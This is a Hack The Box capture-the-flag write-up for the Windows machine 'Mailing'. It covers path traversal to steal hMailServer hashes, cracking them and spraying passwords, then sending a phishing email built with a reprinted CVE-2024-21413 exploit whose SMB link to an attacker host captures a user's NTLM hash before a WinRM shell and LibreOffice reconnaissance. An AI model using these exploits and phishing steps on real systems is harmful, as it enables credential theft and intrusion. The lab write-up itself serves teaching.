HTB
HTB Mailing writeup [20 pts]
Mailing is an easy Windows machine that teaches the following things. First, its needed to abuse a LFI to see hMailServer configuration and have a password. Then, that creds can be used to send an email to a user with a CVE-2024-21413 payload, which consists in a smb link that leaks his ntlm hash in a attacker-hosted smb server in case its opened with outlook. This hash can be cracked and consequently used to gain access to the machine. Finally, to gain access as Administrator, I will create a malicious odt file with a CVE-2023-2255 exploit which is opened by the Administrator.
Port recognaissance
I will start with a basic TCP port scanning with nmap to see which ports are open and see which services are running:
❯ sudo nmap -p- --open -sS -sVC --min-rate 5000 -v -n -Pn 10.10.11.15
# Nmap 7.94SVN scan initiated Mon Sep 2 12:22:57 2024 as: nmap -sS -p- --open -sVC --min-rate 5000 -v -n -Pn -oN mailing 10.10.11.14
Nmap scan report for 10.10.11.14
Host is up (0.34s latency).
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: USER TOP UIDL
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: RIGHTS=texkA0001 IDLE CAPABILITY ACL QUOTA OK completed IMAP4rev1 SORT CHILDREN NAMESPACE IMAP4
445/tcp open microsoft-ds?
465/tcp open ssl/smtp hMailServer smtpd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|_ssl-date: TLS randomness does not represent time
587/tcp open smtp hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp open ssl/imap hMailServer imapd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after: 2029-10-06T18:24:10
| MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
|_SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
|_ssl-date: TLS randomness does not represent time
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
58162/tcp open msrpc Microsoft Windows RPC
58724/tcp open msrpc Microsoft Windows RPC
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-09-02T10:26:16
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 2 12:27:04 2024 -- 1 IP address (1 host up) scanned in 246.80 seconds
- -sVC: Identifies service and version.
- -p-: scans all the range of ports (1-65535).
- –open: shows only open ports and not filtered or closed.
- -sS: TCP SYN scan that improves velocity because it doesn’t establish the connection.
- –min-rate 5000: Sends 5000 packets per second to improve velocity (don’t do this in a real environment).
- -n: Disables DNS resolution protocol.
- -v: Enables verbose to see which ports are opened while it’s scanning
- -Pn: Disables host discovery protocol (ping).
- -oN targeted: Exports the evidence to a file named “tcpTargeted”.
There are a lot of ports in this machine (25,80,110,135,139,143,445,465,587,993,5040,5985,7680,47001,49664,49665,49666,49667,58162,58724). Here is a bit of explanation of each port:
Mail related:
- 25: SMTP, used to send emails to the server.
- 110: POP3, used to receive the emails that somebody sent to a specific user.
- 143: IMAP, same purpose of POP3, but in a different way, check this for more information.
- 465 and 587: Secure versions of SMTP.
- 993: Secure version of IMAP.
I also can see that it’s hMailServer, which its a mail server that can be installed in windows.
Active directory:
- 135: Microsoft RPC.
- 139, 445: SMB, used to share files.
- 5985: WINRM, used to remotely manage a windows computer with valid credentials.
Web:
- 80: you already know what is a web.
Also, notice that the domain mailing.htb appears multiple times in the scan, so I will add this line at the end of my /etc/hosts for my system to know where it should resolve that domain:
10.10.11.14 mailing.htb
Mail enumeration
There’s no much thing I can do here without authentication. I can’t send an email without authentication:
❯ telnet mailing.htb 25
Trying 10.10.11.14...
Connected to mailing.htb.
Escape character is '^]'.
220 mailing.htb ESMTP
HELO x
250 Hello.
MAIL FROM: test@mailing.htb
250 OK
RCPT TO: root@mailing.htb
530 SMTP authentication is required.
Using the EHLO command, I can see that the only allowed auth methods are LOGIN and PLAIN:
EHLO x
250-mailing.htb
250-SIZE 20480000
250-AUTH LOGIN PLAIN
250 HELP
The authentication is well-configured and I can’t login as any user I want:
❯ echo -n "test" | base64 -w 0; echo
dGVzdA==
AUTH LOGIN
334 VXNlcm5hbWU6
dGVzdA==
334 UGFzc3dvcmQ6
dGVzdA==
535 Authentication failed. Restarting authentication process.
That base64 strings are just prompting for Username and password:
❯ echo -n VXNlcm5hbWU6 | base64 -d; echo
Username:
❯ echo -n UGFzc3dvcmQ6 | base64 -d; echo
Password:
And VRFY command (used to check if a user exists) is disabled, so I can’t bruteforce valid usernames:
VRFY test
502 VRFY disallowed.
Active directory enumeration
RPC
I can’t connect to the RPC server without valid credentials:
❯ rpcclient -N 10.10.11.14
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
❯ rpcclient -U "mailing.htb/%" 10.10.11.14
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
SMB
This machine consists in a Windows Server 2019 Build 19041 without signing:
❯ netexec smb 10.10.11.14
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
And I don’t have access to any share without credentials:
❯ netexec smb 10.10.11.14 --shares
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [-] Error getting user: list index out of range
SMB 10.10.11.14 445 MAILING [-] Error enumerating shares: [Errno 32] Broken pipe
❯ netexec smb 10.10.11.14 -u "test" -p "test" --shares
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [-] MAILING\test:test STATUS_LOGON_FAILURE
❯ netexec smb 10.10.11.14 -u "guest" -p "" --shares
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [-] MAILING\guest: STATUS_LOGON_FAILURE
❯ netexec smb 10.10.11.14 -u "test" -p "" --shares
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [-] MAILING\test: STATUS_LOGON_FAILURE
❯ netexec smb 10.10.11.14 -u "" -p "test" --shares
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [-] MAILING\:test STATUS_LOGON_FAILURE
❯ smbclient -N -U "test" -L mailing.htb
session setup failed: NT_STATUS_LOGON_FAILURE
❯ smbclient -N -U "guest" -L mailing.htb
session setup failed: NT_STATUS_LOGON_FAILURE
Nothing interesting here.
Web enumeration
Taking a look with curl, I can see it consists in a Microsoft-IIS/10.0 and its programmed in ASP.NET. Also, it redirects to mailing.htb, which I have already added to my /etc/hosts file:
❯ curl -i -s http://10.10.11.14
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
Location: http://mailing.htb
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Mon, 02 Sep 2024 14:55:43 GMT
Content-Length: 152
<head><title>Documento movido</title></head>
<body><h1>Objeto movido</h1>Este documento puede encontrarse aquí <a HREF="http://mailing.htb"></a></body>
In the browser, it talks about their mail server. There are also some usernames and instructions on how to use it:
Here also says its using hMailServer, but I saw it before on the nmap scan.
The “Download Instructions” link gives instructions on how to use the server:
It just gives instructions on how to use different clients like Thunderbird and Windows Mail to use their mail server.
From this pdf I extracted two things.
It uses user:password combination for the example:
But it doesn’t works in mail (it would be incredible if this was the case):
❯ telnet mailing.htb 25
Trying 10.10.11.14...
Connected to mailing.htb.
Escape character is '^]'.
220 mailing.htb ESMTP
HELO x
250 Hello.
AUTH LOGIN
334 VXNlcm5hbWU6
user
334 UGFzc3dvcmQ6
password
535 Authentication failed. Restarting authentication process.
Also, I can extract a username, maya:
Nothing more interesting here.
Another thing I have to notice is the link of “Download instructions”, which takes the ‘?file’ parameter:
And it retrieves the response of the file specified:
This could be dangerous if its bad programmed because I could retrieve files of the machine:
Path traversal
As I saw before, the download.php takes a parameter ?file and returns the contents of a file specified. What if I put ../ until it’s in the file system root and put any system file I want? I will try C:/Windows/System32/drivers/etc/hosts, which is a typical file in windows that does the same as /etc/hosts in linux:
It works and retrieves the contents, so I have confirmed a “Path traversal” vulnerability.
As its a windows machine, I could try to see if I can connect to my SMB server for receiving a hash:
❯ smbserver.py -smb2support test $(pwd)
Impacket v0.12.0.dev1+20240411.142706.1bc283fb - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
But I don’t receive anything:
However, as the server uses hMailServer for mail, I will look at its configuration file.
For that, I will install hMailServer from here in a Windows VM to see where the configuration file is located.
Searching a bit after installing it, I can see a configuration file called hMailServer.INI located in C:\Program Files (x86)\hMailServer\Bin, which has hashed passwords:
In the installation, I specified the password test123 so I will see if cracking it with john its the same:
❯ john -w=/usr/share/wordlists/rockyou.txt myHmailServerAdministratorPassword.hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
test123 (?)
1g 0:00:00:00 DONE (2024-09-02 19:31) 100.0g/s 1766Kp/s 1766Kc/s 1766KC/s goarmy..ellie123
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
And its the case.
The other password in the “Password” field doesn’t seem crackable and I don’t know how was generated:
❯ john -w=/usr/share/wordlists/rockyou.txt myHmailServerDBPassword.hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-09-02 19:39) 0g/s 14786Kp/s 14786Kc/s 14786KC/s fuckyooh21..*7¡Vamos!
Session completed.
I will look at that file in the path traversal vulnerability:
And I can take the hashed password of Administrator user. Cracking it success and gives me the password ‘homenetworkingadministrator’:
❯ john -w=/usr/share/wordlists/rockyou.txt administrator-mail.hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
homenetworkingadministrator (?)
1g 0:00:00:00 DONE (2024-09-02 19:44) 1.886g/s 14268Kp/s 14268Kc/s 14268KC/s homerandme..homejame
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
This password doesn’t works for SMB:
❯ netexec smb 10.10.11.14 -u "Administrator" -p "homenetworkingadministrator"
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [-] MAILING\Administrator:homenetworkingadministrator STATUS_LOGON_FAILURE
I will try with the different possible combinations of the users I saw in the webpage but nothing:
❯ /bin/cat users.txt
maya bendito
ruy alonso
gregory smith
❯ /opt/username-anarchy/username-anarchy -i users.txt > users-to-test.txt
❯ netexec smb 10.10.11.14 -u users-to-test.txt -p 'homenetworkingadministrator' -t 3
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [-] MAILING\maya:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\mayabendito:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\maya.bendito:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\mayabend:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\mayab:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\m.bendito:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\mbendito:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\bmaya:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\b.maya:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\benditom:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\bendito:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\bendito.m:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\bendito.maya:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\mb:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\ruy:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\ruyalonso:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\ruy.alonso:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\ruyalons:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\ruyalon:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\ruya:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\r.alonso:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\ralonso:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\aruy:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\a.ruy:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\alonsor:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\alonso:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\alonso.r:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\alonso.ruy:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\ra:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\gregory:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\gregorysmith:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\gregory.smith:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\gregorys:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\gregsmit:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\g.smith:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\gsmith:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\sgregory:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\s.gregory:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\smithg:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\smith:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\smith.g:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\smith.gregory:homenetworkingadministrator STATUS_LOGON_FAILURE
SMB 10.10.11.14 445 MAILING [-] MAILING\gs:homenetworkingadministrator STATUS_LOGON_FAILURE
However, it does work in the mail server (that’s why I saw it in the hMailServer.ini):
❯ echo -n 'homenetworkingadministrator' | base64 -w 0; echo
aG9tZW5ldHdvcmtpbmdhZG1pbmlzdHJhdG9y
❯ echo -n 'Administrator@mailing.htb' | base64 -w 0; echo
QWRtaW5pc3RyYXRvckBtYWlsaW5nLmh0Yg==
❯ telnet mailing.htb 25
Trying 10.10.11.14...
Connected to mailing.htb.
Escape character is '^]'.
220 mailing.htb ESMTP
HELO mailing.htb
250 Hello.
AUTH LOGIN
334 VXNlcm5hbWU6
QWRtaW5pc3RyYXRvckBtYWlsaW5nLmh0Yg==
334 UGFzc3dvcmQ6
aG9tZW5ldHdvcmtpbmdhZG1pbmlzdHJhdG9y
235 authenticated.
Now I can send messages as Administrator to any user. I saw that user maya was valid before and that she could be using Outlook.
Access as maya
Outlook had a vulnerability that became so popular identified as CVE-2024-21413, which is described as a Remote Code Execution vulnerability:
However looking at this research I taked from the nvd page, I can see that its more a filter bypass. Normally, outlook advertises when a link is dangerous:
But apparently putting an exclamation mark the filter is bypassed:
This could be used for an attacker to retrieve the ntlm hash of an user that opens a link that points to an attacker-hosted smbserver.
Looking for exploits, I saw this one that it logins with the specified username and password, starts TLS encryption and sends the email to the specified username:
I will clone it:
❯ git clone https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
Cloning into 'CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability'...
remote: Enumerating objects: 28, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 28 (delta 7), reused 6 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (28/28), 14.48 KiB | 336.00 KiB/s, done.
Resolving deltas: 100% (7/7), done.
❯ cd CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
The html message is too suspicious. Its not necessary for this machine but to act as a more advanced attacker, I will change the title to “Congratulations. You won an iPhone 15.”, resulting like this:
html = f"""\
<html>
<body>
<h1><a href="file:///{link_url}!poc">Congratulations. You won an iPhone 15.</a></h1>
</body>
</html>
"""
I will use the exploit with the url of my hosted smb server to leak the ntlm hash. For that, I need to start an smbserver first:
❯ mkdir smbserver
❯ cd smbserver
❯ echo 'hello' > test.txt
❯ smbserver.py -smb2support test $(pwd)
Impacket v0.12.0.dev1+20240411.142706.1bc283fb - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Now run the exploit:
❯ python3 CVE-2024-21413.py --server mailing.htb --port 25 --username 'Administrator@mailing.htb' --password homenetworkingadministrator --sender 'Administrator@mailing.htb' --recipient 'maya@mailing.htb' --url '\\10.10.14.106\test\test.txt' --subject 'Congratulations maya!'
CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de
❌ Failed to send email: STARTTLS extension not supported by server.
But it says STARTTLS not supported so I will remove the line that does. This is the resulting exploit:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import argparse
import sys
BLUE = "\033[94m"
GREEN = "\033[92m"
RED = "\033[91m"
ENDC = "\033[0m"
def display_banner():
banner = f"""
{BLUE}CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de{ENDC}
"""
print(banner)
def send_email(smtp_server, port, username, password, sender_email, recipient_email, link_url, subject):
"""Sends an email with both plain text and HTML parts, including advanced features."""
msg = MIMEMultipart('alternative')
msg['Subject'] = subject
msg['From'] = sender_email
msg['To'] = recipient_email
text = "Please read this email in HTML format."
base64_image_string = ""
html = f"""\
<html>
<body>
<h1><a href="file:///{link_url}!poc">Congratulations. You won an iPhone 15.</a></h1>
</body>
</html>
"""
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
msg.attach(part1)
msg.attach(part2)
try:
with smtplib.SMTP(smtp_server, port) as server:
server.ehlo()
server.login(username, password)
server.sendmail(sender_email, recipient_email, msg.as_string())
print(f"{GREEN}✅ Email sent successfully.{ENDC}")
except Exception as e:
print(f"{RED}❌ Failed to send email: {e}{ENDC}")
def main():
display_banner()
parser = argparse.ArgumentParser(description="PoC for CVE-2024-21413 with SMTP authentication.")
parser.add_argument('--server', required=True, help="SMTP server hostname or IP")
parser.add_argument('--port', type=int, default=587, help="SMTP server port")
parser.add_argument('--username', required=True, help="SMTP server username for authentication")
parser.add_argument('--password', required=True, help="SMTP server password for authentication")
parser.add_argument('--sender', required=True, help="Sender email address")
parser.add_argument('--recipient', required=True, help="Recipient email address")
parser.add_argument('--url', required=True, help="Malicious path to include in the email")
parser.add_argument('--subject', required=True, help="Email subject")
args = parser.parse_args()
send_email(args.server, args.port, args.username, args.password, args.sender, args.recipient, args.url, args.subject)
if __name__ == "__main__":
if len(sys.argv) == 1:
display_banner()
sys.exit(1)
main()
Now I will run it again and it works:
❯ python3 CVE-2024-21413.py --server mailing.htb --port 25 --username 'Administrator@mailing.htb' --password homenetworkingadministrator --sender 'Administrator@mailing.htb' --recipient 'maya@mailing.htb' --url '\\10.10.14.106\test\test.txt' --subject 'Congratulations maya!'
CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de
✅ Email sent successfully.
And I also receive the ntlm hash of maya:
[*] Incoming connection (10.10.11.14,53224)
[*] AUTHENTICATE_MESSAGE (MAILING\maya,MAILING)
[*] User MAILING\maya authenticated successfully
[*] maya::MAILING:aaaaaaaaaaaaaaaa:47fcbe618358e75c741291cb185f4003:0101000000000000006b8f5de1fdda017a6cb09eb8345e9e0000000001001000700047005100480047007a006a00790003001000700047005100480047007a006a007900020010006a0075006600650055006c004a006600040010006a0075006600650055006c004a00660007000800006b8f5de1fdda0106000400020000000800300030000000000000000000000000200000f7b7ba203446d97ceda7a9efe47bfdfaeec949476bba07cb494c1f8e9a7811b00a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100300036000000000000000000
Now I will crack it and I have the password for maya:
❯ john -w=/usr/share/wordlists/rockyou.txt maya.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4y4ngs4ri (maya)
1g 0:00:00:03 DONE (2024-09-03 12:02) 0.3267g/s 1938Kp/s 1938Kc/s 1938KC/s m61405..m4895621
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
This credential should work for smb and its the case:
❯ netexec smb 10.10.11.14 -u 'maya' -p 'm4y4ngs4ri'
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [+] MAILING\maya:m4y4ngs4ri
And also for winrm, so I can access to Mailing machine:
❯ netexec winrm 10.10.11.14 -u 'maya' -p 'm4y4ngs4ri'
WINRM 10.10.11.14 5985 MAILING [*] Windows 10 / Server 2019 Build 19041 (name:MAILING) (domain:MAILING)
WINRM 10.10.11.14 5985 MAILING [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)
❯ evil-winrm -i 10.10.11.14 -u 'maya' -p 'm4y4ngs4ri'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maya\Documents>
The user flag is available in maya’s Desktop:
*Evil-WinRM* PS C:\Users\maya\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\maya\Desktop> dir
Directory: C:\Users\maya\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/28/2024 7:34 PM 2350 Microsoft Edge.lnk
-ar--- 9/3/2024 10:58 AM 34 user.txt
*Evil-WinRM* PS C:\Users\maya\Desktop> type user.txt
99****************************d6
Access as localadmin
Looking at files, I can see in C: an empty folder called “Important Documents”:
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/10/2024 5:32 PM Important Documents
d----- 2/28/2024 8:49 PM inetpub
d----- 12/7/2019 10:14 AM PerfLogs
d----- 3/9/2024 1:47 PM PHP
d-r--- 3/13/2024 4:49 PM Program Files
d-r--- 3/14/2024 3:24 PM Program Files (x86)
d-r--- 3/3/2024 4:19 PM Users
d----- 4/29/2024 6:58 PM Windows
d----- 4/12/2024 5:54 AM wwwroot
*Evil-WinRM* PS C:\> dir "Important Documents"
What if some user of the machine open a document inside this folder? Looking for programs used to open documents I can see libreoffice:
*Evil-WinRM* PS C:\> dir "Program Files"
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
<..SNIP>
d----- 3/4/2024 6:57 PM LibreOffice
<..SNIP..>
Which has version 7.4.0.1:
*Evil-WinRM* PS C:\> cd "Program Files/LibreOffice"
*Evil-WinRM* PS C:\Program Files\LibreOffice> dir
Directory: C:\Program Files\LibreOffice
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/4/2024 6:57 PM help
d----- 3/4/2024 6:57 PM presets
d----- 3/14/2024 4:01 PM program
d----- 3/4/2024 6:57 PM readmes
d----- 3/4/2024 6:57 PM share
-a---- 6/10/2022 4:14 PM 1807470 CREDITS.fodt
-a---- 7/7/2022 1:05 PM 574491 LICENSE.html
-a---- 7/7/2022 1:09 PM 503055 license.txt
-a---- 7/6/2022 11:40 PM 3706 NOTICE
*Evil-WinRM* PS C:\Program Files\LibreOffice> cd program
*Evil-WinRM* PS C:\Program Files\LibreOffice\program> .\soffice.com --version
LibreOffice 7.4.0.1 43e5fcfbbadd18fccee5a6f42ddd533e40151bcf
